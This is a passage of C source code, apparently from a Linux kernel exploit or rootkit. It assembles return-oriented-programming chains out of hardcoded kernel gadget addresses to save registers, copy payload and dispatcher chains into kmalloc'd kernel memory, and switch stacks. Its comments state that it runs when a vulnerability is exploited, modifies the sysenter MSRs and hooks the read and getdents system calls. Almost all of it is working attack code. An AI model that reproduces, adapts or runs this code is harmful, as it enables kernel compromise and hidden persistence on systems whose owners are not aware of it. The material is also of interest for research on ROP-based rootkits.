// ----------------------------------------------------------------
// Load Value of RCX into RDI
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_RCX, REG_RDI);
// WRITE RCX
add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size); // MOV [RCX], RDI;
// XOR EAX,EAX;
// RET;
// Increase RCX
generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
// ----------------------------------------------------------------
// RBX
// ----------------------------------------------------------------
// Load Value of RBX into RDI
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_RBX, REG_RDI);
// WRITE RBX
add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size); // MOV [RCX], RDI;
// XOR EAX,EAX;
// RET;
// Increase RCX
generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
// ----------------------------------------------------------------
// RSI
// ----------------------------------------------------------------
// Load Value of RSI into RDI
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_RSI, REG_RDI);
// WRITE RSI
add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size); // MOV [RCX], RDI;
// XOR EAX,EAX;
// RET;
// Increase RCX
generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
// ----------------------------------------------------------------
// RDI
// ----------------------------------------------------------------
// Load Value of RDI into RDI
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_RDI, REG_RDI);
// WRITE RDI
add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size); // MOV [RCX], RDI;
// XOR EAX,EAX;
// RET;
// Increase RCX
generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
// ----------------------------------------------------------------
// RAX
// ----------------------------------------------------------------
// Load Value of RAX into RDI
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_RAX, REG_RDI);
// WRITE RAX
add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size); // MOV [RCX], RDI;
// XOR EAX,EAX;
// RET;
// Increase RCX
generate_add_value(fake_stack, fake_stack_size, 0x8, REG_RCX);
// ----------------------------------------------------------------
// RBP
// ----------------------------------------------------------------
// Load Value of RAX into RDI
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_RBP, REG_RDI);
// WRITE RBP
add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size); // MOV [RCX], RDI;
// XOR EAX,EAX;
// RET;
// ----------------------------------------------------------------
// << COPY REGISTER DONE
// ================================================================
printf(" Done.\n");
printf(" \t[*] Writing copy chain using payload chain @ %p...", payload_chain);
// ================================================================
// >> COPY CHAIN
// ----------------------------------------------------------------
// Alrighty. Here we basically create a copy chain that copies the
// payload chain to a newly created payload chain on each invocation.
// Reserve memory (PAYLOAD size + 2 pages stack);
generate_kmalloc(fake_stack, fake_stack_size,
PAYLOAD_STACK_SIZE + 2 * 4096);
// Increase RAX by the stack size
generate_add_value(fake_stack, fake_stack_size,
2 * 4096, REG_RAX);
// Save the pointer
generate_set_state_value(fake_stack, fake_stack_size,
GLOBAL_TMP, REG_RAX);
// Save the payload pointer into the PAYLOAD field within
// the process state
// Load the state into RAX
generate_get_state_value(fake_stack, fake_stack_size,
CUR_STATE, REG_RAX);
// Point RAX to the PAYLOAD
generate_add_value(fake_stack, fake_stack_size,
PAYLOAD, REG_RAX);
// Move the pointer into RSI
generate_move_from_rax(fake_stack, fake_stack_size,
REG_RSI);
// Load the pointer to the PAYLOAD into RAX
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_TMP, REG_RAX);
// Subtract the stack size of the pointer
generate_substract_value(fake_stack, fake_stack_size,
2 * 4096, REG_RAX);
// Save the pointer to the PAYLOAD into the state
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Reload RAX
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_TMP, REG_RAX);
// Copy each value of the payload chain into the dispatcher stack.
// For this we iterate over the current payload chain and create
// a copy sequence for each value.
for (i = 0; i < payload_size; i += 8)
{
// Load the current value of the payload chain into RDX
add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size); // POP RDX; RET
// If the current payload value is a patch value, we have to point it
// to its new location.
// update_patch_entry((void *)payload, (*fake_stack), (*fake_stack_size));
// Add the value.
add_to_fake_stack((*payload), fake_stack, fake_stack_size); // Current value of
// the copy chain
// Store the value within the payload region
add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size); // MOV [RAX],RDX; RET
// Increase RAX to point to the next location in the payload region
add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size); // POP RDI; RET
add_to_fake_stack(0x8, fake_stack, fake_stack_size); // Each value has
// 8-bytes
// Now add to RAX
add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size); // ADD RDI, RAX;
// MOV RAX, RDI; RET;
// Increase Payload pointer
payload += 1;
}
// ----------------------------------------------------------------
// << COPY CHAIN DONE
// ================================================================
printf(" Done.\n");
printf(" \t[*] Writing patching sequence...");
// ================================================================
// >> PATCHING SEQUENCE
// ----------------------------------------------------------------
// In the next step we must patch the sequence that we just
// created.
// First we patch all symbols within the local state.
// RCX must contain the address of the stack, while RDI must contain
// the base address of the state.
// => Load RCX
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_TMP, REG_RCX);
// => Load RDI
generate_get_state_value(fake_stack, fake_stack_size,
CUR_STATE, REG_RDI);
generate_patch_gadget(fake_stack, fake_stack_size,
payload_chain, payload_size, PROCESS);
// Next we patch all symbols within the global state.
// RCX must contain the address of the stack, while RDI must contain
// the base address of the state.
// => Load RCX
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_TMP, REG_RCX);
// => Load RDI
generate_pop(fake_stack, fake_stack_size, REG_RDI);
add_patch_entry(fake_stack, fake_stack_size, GLOBAL_RDX, 0x0); // must point to the
// FIRST entry in the
// global state!
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // must be overwritten
generate_patch_gadget(fake_stack, fake_stack_size,
payload_chain, payload_size, GLOBAL);
// ----------------------------------------------------------------
// << PATCHING SEQUENCE DONE
// ================================================================
printf(" Done.\n");
printf(" \t[*] Generating switching sequence...");
// ================================================================
// >> SWITCH TO PAYLOAD
// ----------------------------------------------------------------
// We use a POP RSP to switch to the payload stack. Thus we need
// to push the RSP we want to use before we invoke the POP gadget.
// To maintain control (the push changes the current gadget on
// the stack!) we use a PUSH PUSH RET. The first PUSH pushes the
// new SP value while the second push pushes the address of the
// POP RSP gadget, which will then be executed by the ret.
// First the PUSHs. Load the address of the PAYLOAD stack into RCX.
generate_get_state_value(fake_stack, fake_stack_size,
GLOBAL_TMP, REG_RCX);
// RAX contains the address of the POP RSP; RET gadget.
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff81423f82, fake_stack, fake_stack_size); // POP RSP; RET
// Go
add_to_fake_stack(0xffffffff81515a4b, fake_stack, fake_stack_size); // PUSH RCX;
// PUSH RAX;
// RET;
// ----------------------------------------------------------------
// << SWITCH TO PAYLOAD DONE
// ================================================================
printf(" Done.\n");
printf(" [!] Dispatcher stack size %ld bytes\n", (*fake_stack_size));
}
/**
* This function will create and setup our copy fake stack.
*
* The copy fake stack is written to the copy_stack variable.
* To do this, the copy_stack is first created using malloc.
* Since the copy chain is also responsible for the creation
* of the dispatcher chain on every invocation, this function
* also needs access to the dispatcher chain that is supposed
* to copy during its invocation.
*
* @param dispatcher_chain A pointer that points to the END
* of the dispatcher chain.
* @param dispatcher_size The size of the dispatcher chain.
*
*/
static void create_copy_fake_stack(void *dispatcher_chain, u32 dispatcher_size)
{
u32 i = 0;
// dispatcher points to the beginning of the dispatcher chain
u64 *dispatcher = (u64 *)(((char *)dispatcher_chain) - dispatcher_size);
printf(" [+] Creating copy fake stack...\n");
copy_stack = malloc(COPY_STACK_SIZE);
if (!copy_stack)
{
error(-1, 0, " \t[!] Failed to reserve memory for the copy fake stack!\n");
}
printf(" \t[*] Copy fake stack @ %p\n", copy_stack);
printf(" \t[*] Writing register saving prolog...");
// ================================================================
// >> PROLOG
// ----------------------------------------------------------------
// In the prolog we save all registers to our global state area.
// ----------------------------------------------------------------
// SAVE RDX
// ----------------------------------------------------------------
// Load state address of RDX into RAX
add_to_fake_stack(0xffffffff8100a4de, ©_stack, ©_stack_size); // POP RAX; RET;
add_patch_entry(©_stack, ©_stack_size, GLOBAL_RDX, 0); // Create a patch entry
add_to_fake_stack(0x0, ©_stack, ©_stack_size); // RDX,
// must be overwritten by init
// Save
add_to_fake_stack(0xffffffff8115c832, ©_stack, ©_stack_size); // MOV [RAX],RDX; RET
// ----------------------------------------------------------------
// SAVE RCX
// ----------------------------------------------------------------
// Load state address of RCX into RAX
add_to_fake_stack(0xffffffff8100a4de, ©_stack, ©_stack_size); // POP RAX; RET;
add_patch_entry(©_stack, ©_stack_size, GLOBAL_RCX, 0); // Create a patch entry
add_to_fake_stack(0x0, ©_stack, ©_stack_size); // RCX,
// must be overwritten by init
// Move RCX to RDX
add_to_fake_stack(0xffffffff81060147, ©_stack, ©_stack_size); // MOV RDX, RCX; RET;
// Save
add_to_fake_stack(0xffffffff8115c832, ©_stack, ©_stack_size); // MOV [RAX],RDX; RET
// -----------------------------------------------------------------
// SAVE RBX
// -----------------------------------------------------------------
// This block is the first time we see our construct for using call
// and push. Since both of these instructions push something onto
// the stack and we are not yet on our dispatcher stack, we must be
// careful when using them. Basically, we need to be sure that the
// stack pointer is at a location where the bytes immediatly above
// (lower addresses) the sp can be clobbered. These locations are
// the '0x4242424242424242' locations seen below. These will be
// overwritten on each pass. The key to this technique is the
// combination of the 'ADD RSP, 0x10; RET;' that makes room on the
// stack and the 'SUB RSP,0x8; CALL RDX' that sets the SP to a
// position where the location above can be overwritten.
// Call construct, required as the move from RBX to RDX contains a
// call.
// First setup CALL RCX
add_to_fake_stack(0xffffffff810051ae, ©_stack, ©_stack_size); // POP RCX; RET;
add_to_fake_stack(0xffffffff816a9434, ©_stack, ©_stack_size); // Address of ADD RSP, 0x38;
// RET;
// Now setup CALL RDX
add_to_fake_stack(0xffffffff812ce029, ©_stack, ©_stack_size); // POP RDX; RET;
add_to_fake_stack(0xffffffff81626b6e, ©_stack, ©_stack_size); // Address of MOV RDX, RBX;
// CALL RCX;
// Make some room for the return address that is pushed by the calls
add_to_fake_stack(0xffffffff81352d33, ©_stack, ©_stack_size); // ADD RSP, 0x10; RET;
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // Will be overwritten!
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // Will be overwritten!
// Stack fix for the ADD RSP,0x38 in RDX
add_to_fake_stack(0xffffffff8143bc09, ©_stack, ©_stack_size); // SUB RSP, 0x8; CALL RDX;
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
// RBX now in RDX.
// Load state address of RBX into RAX
add_to_fake_stack(0xffffffff8100a4de, ©_stack, ©_stack_size); // POP RAX; RET;
add_patch_entry(©_stack, ©_stack_size, GLOBAL_RBX, 0); // Create a patch entry
add_to_fake_stack(0x0, ©_stack, ©_stack_size); // RBX,
// must be overwritten by init
// Save
add_to_fake_stack(0xffffffff8115c832, ©_stack, ©_stack_size); // MOV [RAX],RDX; RET
// -----------------------------------------------------------------
// SAVE RSI
// -----------------------------------------------------------------
// Call construct, required as the move from RSI to RDX contains a
// call.
// First setup CALL RBX
add_to_fake_stack(0xffffffff812ca859, ©_stack, ©_stack_size); // POP RBX; RET;
add_to_fake_stack(0xffffffff816a9434, ©_stack, ©_stack_size); // Address of ADD RSP, 0x38;
// RET;
// Now setup CALL RDX
add_to_fake_stack(0xffffffff812ce029, ©_stack, ©_stack_size); // POP RDX; RET;
add_to_fake_stack(0xffffffff815852e3, ©_stack, ©_stack_size); // Address of MOV RDX, RSI;
// MOV ESI,R8D;
// CALL RBX;
// Make some room for the return address that is pushed by the calls
add_to_fake_stack(0xffffffff81352d33, ©_stack, ©_stack_size); // ADD RSP, 0x10; RET;
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // Will be overwritten!
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // Will be overwritten!
// Stack fix for the ADD RSP,0x38 in RDX
add_to_fake_stack(0xffffffff8143bc09, ©_stack, ©_stack_size); // SUB RSP, 0x8; CALL RDX;
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
// RSI now in RDX.
// Load state address of RSI into RAX
add_to_fake_stack(0xffffffff8100a4de, ©_stack, ©_stack_size); // POP RAX; RET;
add_patch_entry(©_stack, ©_stack_size, GLOBAL_RSI, 0); // Create a patch entry
add_to_fake_stack(0x0, ©_stack, ©_stack_size); // RSI,
// must be overwritten by init
// Save
add_to_fake_stack(0xffffffff8115c832, ©_stack, ©_stack_size); // MOV [RAX],RDX; RET
// -----------------------------------------------------------------
// SAVE RDI
// -----------------------------------------------------------------
// Call construct, required as the move from RDI to RDX contains a
// call.
// First setup CALL RCX
add_to_fake_stack(0xffffffff810051ae, ©_stack, ©_stack_size); // POP RCX; RET;
add_to_fake_stack(0xffffffff816a9434, ©_stack, ©_stack_size); // Address of ADD RSP, 0x38;
// RET;
// Now setup CALL RDX
add_to_fake_stack(0xffffffff812ce029, ©_stack, ©_stack_size); // POP RDX; RET;
add_to_fake_stack(0xffffffff811cc08e, ©_stack, ©_stack_size); // Address of MOV RSI, RDI;
// MOV RDI,RAX;
// CALL RCX;
// Make some room for the return address that is pushed by the calls
add_to_fake_stack(0xffffffff81352d33, ©_stack, ©_stack_size); // ADD RSP, 0x10; RET;
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // Will be overwritten!
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // Will be overwritten!
// Stack fix for the ADD RSP,0x38 in RDX
add_to_fake_stack(0xffffffff8143bc09, ©_stack, ©_stack_size); // SUB RSP, 0x8; CALL RDX;
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
// RDI now in RSI.
// => Repeat the steps from above to load RSI into RDX
// Call construct, required as the move from RSI to RDX contains a
// call.
// First setup CALL RBX
add_to_fake_stack(0xffffffff812ca859, ©_stack, ©_stack_size); // POP RBX; RET;
add_to_fake_stack(0xffffffff816a9434, ©_stack, ©_stack_size); // Address of ADD RSP, 0x38;
// RET;
// Now setup CALL RDX
add_to_fake_stack(0xffffffff812ce029, ©_stack, ©_stack_size); // POP RDX; RET;
add_to_fake_stack(0xffffffff815852e3, ©_stack, ©_stack_size); // Address of MOV RDX, RSI;
// MOV ESI,R8D;
// CALL RBX;
// Make some room for the return address that is pushed by the calls
add_to_fake_stack(0xffffffff81352d33, ©_stack, ©_stack_size); // ADD RSP, 0x10; RET;
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // Will be overwritten!
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // Will be overwritten!
// Stack fix for the ADD RSP,0x38 in RDX
add_to_fake_stack(0xffffffff8143bc09, ©_stack, ©_stack_size); // SUB RSP, 0x8; CALL RDX;
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
// RSI now in RDX. => RDI in RDX
// Load state address of RDI into RAX
add_to_fake_stack(0xffffffff8100a4de, ©_stack, ©_stack_size); // POP RAX; RET;
add_patch_entry(©_stack, ©_stack_size, GLOBAL_RDI, 0); // Create a patch entry
add_to_fake_stack(0x0, ©_stack, ©_stack_size); // RDI,
// must be overwritten by init
// Save
add_to_fake_stack(0xffffffff8115c832, ©_stack, ©_stack_size); // MOV [RAX],RDX; RET
// -----------------------------------------------------------------
// SAVE RBP
// -----------------------------------------------------------------
// Call construct, required as the move from RBP to RDI contains a
// call.
// First setup CALL RBX
add_to_fake_stack(0xffffffff812ca859, ©_stack, ©_stack_size); // POP RBX; RET;
add_to_fake_stack(0xffffffff816a9434, ©_stack, ©_stack_size); // Address of ADD RSP, 0x38;
// RET;
// Now setup CALL RDX
add_to_fake_stack(0xffffffff812ce029, ©_stack, ©_stack_size); // POP RDX; RET;
add_to_fake_stack(0xffffffff816d3727, ©_stack, ©_stack_size); // Address of MOV RDI, RBP;
// CALL RBX;
// Make some room for the return address that is pushed by the calls
add_to_fake_stack(0xffffffff81352d33, ©_stack, ©_stack_size); // ADD RSP, 0x10; RET;
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // Will be overwritten!
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // Will be overwritten!
// Stack fix for the ADD RSP,0x38 in RDX
add_to_fake_stack(0xffffffff8143bc09, ©_stack, ©_stack_size); // SUB RSP, 0x8; CALL RDX;
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
// RBP now in RDI
// Load state address of RBP into RCX
add_to_fake_stack(0xffffffff81005190, ©_stack, ©_stack_size); // POP RCX; RET;
add_patch_entry(©_stack, ©_stack_size, GLOBAL_RBP, 0); // Create a patch entry
add_to_fake_stack(0x0, ©_stack, ©_stack_size); // RBP,
// must be overwritten by init
// Save
add_to_fake_stack(0xffffffff813df7ba, ©_stack, ©_stack_size); // MOV [RCX],RDI;
// XOR EAX, EAX;
// RET;
// ----------------------------------------------------------------
// << PROLOG DONE
// ================================================================
printf(" Done.\n");
printf(" \t[*] Writing copy chain using dispatcher chain @ %p...", dispatcher_chain);
// ================================================================
// >> COPY CHAIN
// ----------------------------------------------------------------
// Alrighty. Here we basically create a copy chain that copies the
// dispatcher chain to the dispatcher stack on each invocation. The
// dispatcher chain can then make use of all general purpose
// registers and does not have to use special constructs for
// call instructions etc. as it is recreated on each invocation.
// First we need to get the address of the dispatcher stack. The
// dispatcher region is created at run-time by the init chain using
// kmalloc. Thus this field needs to be patched by the init chain.
add_to_fake_stack(0xffffffff8100a4de, ©_stack, ©_stack_size); // POP RAX; RET;
// The offset within the copy stack that must be patched.
dispatcher_stack_patch = copy_stack;
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // Will be overwritten!
// RAX now points to the beginning of the dispatcher stack.
// Copy each value of the payload chain into the copy stack.
// For this we iterate over the current payload chain and create
// a copy sequence for each value.
for (i = 0; i < dispatcher_size; i += 8)
{
// Load the current value of the dispatcher chain into RDX
add_to_fake_stack(0xffffffff812ce029, ©_stack, ©_stack_size); // POP RDX; RET
// If the current dispatcher value is a patch value, we have to point
// it to its new location.
update_patch_entry((void *)dispatcher, copy_stack, copy_stack_size);
// Add the value.
add_to_fake_stack((*dispatcher), ©_stack, ©_stack_size); // Current value of
// the copy chain
// Store the value within the dispatcher region
add_to_fake_stack(0xffffffff8115c832, ©_stack, ©_stack_size); // MOV [RAX],RDX; RET
// Increase RAX to point to the next location in the dispatcher region
add_to_fake_stack(0xffffffff8135469f, ©_stack, ©_stack_size); // POP RDI; RET
add_to_fake_stack(0x8, ©_stack, ©_stack_size); // Each value has
// 8-bytes
// Now add to RAX
add_to_fake_stack(0xffffffff811c98de, ©_stack, ©_stack_size); // ADD RDI, RAX;
// MOV RAX, RDI; RET;
// Increase Dispatcher pointer
dispatcher += 1;
}
// ----------------------------------------------------------------
// << COPY CHAIN DONE
// ================================================================
printf(" Done.\n");
printf(" \t[*] Writing switching sequence...");
// ================================================================
// >> SWITCHING SEQUENCE
// ----------------------------------------------------------------
// Finally the copy chain needs to tansfer control to the dispatcher
// chain it just created.
// This sequence makes use of the fact that RAX still points to the
// dispatcher region. Thus all that we have to do to obtain the
// beginning is to substract the size of the dispatcher chain from RAX.
// Load size of dispatcher chain into RDX
add_to_fake_stack(0xffffffff812ce029, ©_stack, ©_stack_size); // POP RDX; RET
add_to_fake_stack(dispatcher_size, ©_stack, ©_stack_size); // OFFSET
// SUB
add_to_fake_stack(0xffffffff81079357, ©_stack, ©_stack_size); // SUB RAX, RDX
// RAX now points to the beginning of the dispatcher chain
// Next transfer the control to the dispatcher stack we created.
// Since there is no gadget that allows us to directly overwrite the
// RSP, we need to make use of a rather involved copy gadget.
// No worries, we will lead you Through this. Letse go!
// First we setup RDI
add_to_fake_stack(0xffffffff8135469f, ©_stack, ©_stack_size); // POP RDI; RET;
add_to_fake_stack(0xffffffff812c45f2, ©_stack, ©_stack_size); // MOV [RSP+0x10],RAX;
// MOV RDX,[RSP+0x30];
// CALL RDX;
// This gadget will move the dispatcher stack onto our stack, where we
// can pop it directly into RSP. The problem is, however, that it
// loads the value for the next call from the stack as well. Thus
// we need to solve two problems:
// a) We need to make room for the call to avoid overwrites
// b) We need to place a gadget at RSP + 0x30 that fixes the stack
// First we make room.
// Increase the SP and invoke the gadget from above residing in RDI.
add_to_fake_stack(0xffffffff816d3626, ©_stack, ©_stack_size); // ADD RSP, 0x18; JMP RDI
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // This value will be
// overwritten by call RDX as
// it pushes the return address
// The stack points here after the ADD RSP, 0x18
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
// The POP RSP. The instruction we are doing this for.
add_to_fake_stack(0xffffffff81423f82, ©_stack, ©_stack_size); // POP RSP; RET.
add_to_fake_stack(0x4242424242424242, ©_stack, ©_stack_size); // RAX will be written here
// by the instruction
// MOV [RSP+0x10],RAX.
// Padding such that RSP+0x30 points to the right gadget
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefdeadbeef, ©_stack, ©_stack_size); // This value will not be used
// This gadget ends up in RDX before the call. It pops the return
// address as well as the 0xdeadbeefdeadbeef before the POP RSP
// which will switch the stack,
add_to_fake_stack(0xffffffff8100a4dd, ©_stack, ©_stack_size); // POP RCX; (return address)
// POP RAX; (deadbeefdeadbeef)
// RET; (unleash the dispatcher)
// ----------------------------------------------------------------
// << SWITCHING SEQUENCE DONE
// ================================================================
printf(" Done.\n");
printf(" [!] DONE.\n");
printf(" [!] Copy stack size %ld bytes\n", copy_stack_size);
}
/**
* This function will create and setup our init fake stack.
*
* The function will create the init fake stack that is executed when we
* exploit the vulnerability. In particular it:
* * Reserves memory for the copy stack and the dispatcher stack
* * Reserves memory for the global state and initializes it
* * Patches the copy stack and the dispatcher stack
* * Modifies the sysenter MSRs
* * Hooks the read and the getdents system call.
*/
static void create_init_fake_stack(void)
{
printf(" [+] Creating init fake stack...\n");
printf(" \t[*] Reserving memory...\n");
// IMPORTANT: It is important to use MMAP here instead of malloc.
// Malloc can lead to various errors that are probably a result of
// the fact that a userspace page (such as the fake stack) is not
// avaialble within the kernel. This may be due to swapping or other
// paging related issues.
init_stack = mmap(NULL, INIT_STACK_SIZE, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED, -1, 0);
if (init_stack == MAP_FAILED)
{
error(-1, 0, " \t[!] Failed to reserve memory for the init fake stack!\n");
}
printf(" \t[*] Init fake stack areas @ %p\n", init_stack);
// Make sure the area is zeroed.
memset(init_stack, 0, INIT_STACK_SIZE);
// Leave some space for function calls
init_stack += INIT_STACK_OFFSET;
printf(" \t[*] Init fake stack @ %p\n", init_stack);
// ================================================================
// >> PROLOG
// ----------------------------------------------------------------
// The interrupt handler will first execute leave; ret;
printf(" \t[*] Setting up fake RBP and first RET for 'leave; ret;'..,\n");
add_to_fake_stack(0xdeadbeefbeefdead, &init_stack, &init_stack_size); // New RBP, does not really matter
// Load GS segement, such that the kernel can access its globals.
add_to_fake_stack(0xffffffff816cb9cb, &init_stack, &init_stack_size); // SWAPGS; RET
// ----------------------------------------------------------------
// << SWITCHING SEQUENCE DONE
// ================================================================
// ================================================================
// >> CREATE & SETUP STATE
// ----------------------------------------------------------------
// First reserve memory for the state
// We use kmalloc for this purpose
// RDI=SIZE, RSI=FLAGS
add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(GLOBAL_STATE_SIZE, &init_stack, &init_stack_size); // SIZE = STATE_SIZE
add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size); // POP RSI, RET;
add_to_fake_stack(0xd0, &init_stack, &init_stack_size); // GFP_KERNEL, 0xd0
// Load Address of '__kmalloc' into RAX
add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff8117d490, &init_stack, &init_stack_size); // Address of __kmalloc
// "Call" __kmalloc
add_to_fake_stack(0xffffffff81000110, &init_stack, &init_stack_size); // JMP RAX;
// RAX now contains pointer
// Next we setup the global state
// IMPORTANT: The globale state uses +1 to differentiate it from
// the payload stack. This means we have to substract one if we use
// values from it!
// 1. PID_PARSE
add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(PID_PARSE-1, &init_stack, &init_stack_size); // OFFSET
// Add offset to RAX
add_to_fake_stack(0xffffffff8104c41d, &init_stack, &init_stack_size); // ADD RAX, RDI; RET
// Setup value
add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size); // POP RDX; RET
// DEFAULT 0
add_to_fake_stack(0x0, &init_stack, &init_stack_size); // The value for PID_INDEX
// SET
add_to_fake_stack(0xffffffff8115c832, &init_stack, &init_stack_size); // MOV [RAX],RDX; RET
// PID_PARSE DONE
// 2. PID_INDEX
add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(PID_INDEX-PID_PARSE, &init_stack, &init_stack_size); // OFFSET
// Add offset to RAX
add_to_fake_stack(0xffffffff8104c41d, &init_stack, &init_stack_size); // ADD RAX, RDI; RET
// Setup value
add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size); // POP RDX; RET
// DEFAULT 0
add_to_fake_stack(0x0, &init_stack, &init_stack_size); // The value for PID_INDEX
// SET
add_to_fake_stack(0xffffffff8115c832, &init_stack, &init_stack_size); // MOV [RAX],RDX; RET
// PID_INDEX DONE
// 3. PROC_INDEX
add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size); // POP RDI; RET
add_to_fake_stack(PROC_INDEX - PID_INDEX, &init_stack, &init_stack_size); // OFFSET
// Add offset to RAX
add_to_fake_stack(0xffffffff8104c41d, &init_stack, &init_stack_size); // ADD RAX, RDI; RET
// Setup value
add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size); // POP RDX; RET
// DEFAULT 0
add_to_fake_stack(0x0, &init_stack, &init_stack_size); // The value for PROC_INDEX
// SET
add_to_fake_stack(0xffffffff8115c832, &init_stack, &init_stack_size); // MOV [RAX],RDX; RET
// PROC_INDEX DONE
// Reset RAX => Substract last field to point to the beginning
add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size); // POP RDX; RET
add_to_fake_stack(PROC_INDEX-1, &init_stack, &init_stack_size); // The last offset added
add_to_fake_stack(0xffffffff81079357, &init_stack, &init_stack_size); // SUB RAX, RDX
// ----------------------------------------------------------------
// << CREATE & SETUP STATE DONE
// ================================================================
// ================================================================
// >> GENERATE PATCHING CODE
// ----------------------------------------------------------------
// The actual patching will be conducted at run-time. Here we
// generate the required code. Notice that the patching will take
// place in the copy chain. Once the copy chain has been patched,
// we copy it into kernel memory.
// Notice that we only patch global symbols here!
// To use our patch gadget, we have to setup RDI and RCX.
// Base address of the state has to be in RDI
generate_move_from_rax(&init_stack, &init_stack_size, REG_RDI);
// The stack has to be in RCX
generate_pop(&init_stack, &init_stack_size, REG_RCX);
add_to_fake_stack((u64)copy_stack - copy_stack_size, &init_stack,
&init_stack_size);
// PATCH
generate_patch_gadget(&init_stack, &init_stack_size,
copy_stack, copy_stack_size,
GLOBAL);
// Move the state back to RAX
generate_move_to_rax(&init_stack, &init_stack_size, REG_RDI);
/*
// The offset is specified from the beginning of copy_stack.
copy_stack_begin = copy_stack - copy_stack_size;
for (i = 0; i < patch_entry_index; ++i)
{
// Set Offset
patch_offset = patch_entries[i].type + patch_entries[i].type_offset;
// Load state value + offset into RDI
// The state value is currently in RAX
